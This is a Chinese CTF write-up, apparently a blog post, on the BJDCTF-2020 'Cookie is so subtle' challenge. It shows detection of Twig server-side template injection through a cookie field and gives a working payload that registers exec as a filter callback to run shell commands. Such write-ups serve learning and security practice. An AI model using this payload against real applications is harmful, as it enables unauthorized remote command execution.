[BJDCTF-2020]Web-Cookie is so subtle

31 篇文章 3 订阅
8 篇文章 0 订阅

[BJDCTF-2020]Web-Cookie is so subtle

一.前言

在上一篇有关thinkphp3.2版本的考古漏洞中,我曾提到要先将sql注入漏洞的学习放缓一阵,是时候转头去复习一下其他方面的漏洞了。关于SSTI的话,其实以前是有学习过的,但是大部分关于SSTI的学习都是通过一些简单基础的靶场习题进行学习的,并没有学太多原理方面的知识。从现在开始,要通过BUU的靶场对SSTI的类型习题做一下集中的复习了。

正文

作为我开始复习SSTI的第一篇习题,我并没有选择太难的题目,选择了一个较为简单的题目。因为之前的学习过程里大部分的学习都几乎只局限于jinja2模板,所以这道题还是能学到一些东西的。
首先,打开题目
进入flag界面
在这里插入图片描述
我们随便输一个内容
请添加图片描述
从旁边的Cookie界面中我们发现了一个问题,就是我们一开始在输入框中输入的内容被放进了Cookie中的user字段里面。而且我们输入的内容在前端界面上也有回显,这让我们联想到可能是要利用Cookie进行模板注入。
我们随便输入一个payload看一下{{1}}
请添加图片描述
我们看到前端给我们的回显界面已经成功地渲染出来了我们刚刚传进去的内容。我们以此判断这个Cookie存在模板注入,我们再次深入的调查一下所用模板的情况
我们这一次传入{{'7'*7}}
请添加图片描述
我们来看一下回显
请添加图片描述
下面这句话引自知乎(https://zhuanlan.zhihu.com/p/28823933)

{{7*‘7’}}会在 Twig 中返回49,而在 Jinja2 中则是7777777

我们基于此判断出它的模板类型是Twig
我们构造如下的payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

前者是将exec注册为getFilter的回调函数,后面就是通过getFilter里面的回调函数进行函数调用。
详细的getFilter代码段如下
(仍摘自上面那篇知乎文章)

public function getFilter($name)
  {
    ...
    foreach ($this->filterCallbacks as $callback) {
    if (false !== $filter = call_user_func($callback, $name)) {
      return $filter;
    }
  }
  return false;
}
 
public function registerUndefinedFilterCallback($callable)
{
  $this->filterCallbacks[] = $callable;
}

最终我们通过burp发包成功拿到flag
请添加图片描述

后记

这一次接触了Twig模板的注入,以前的话接触过smarty,jinja2。但是Twig真的是第一次遇见,就当积累经验了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值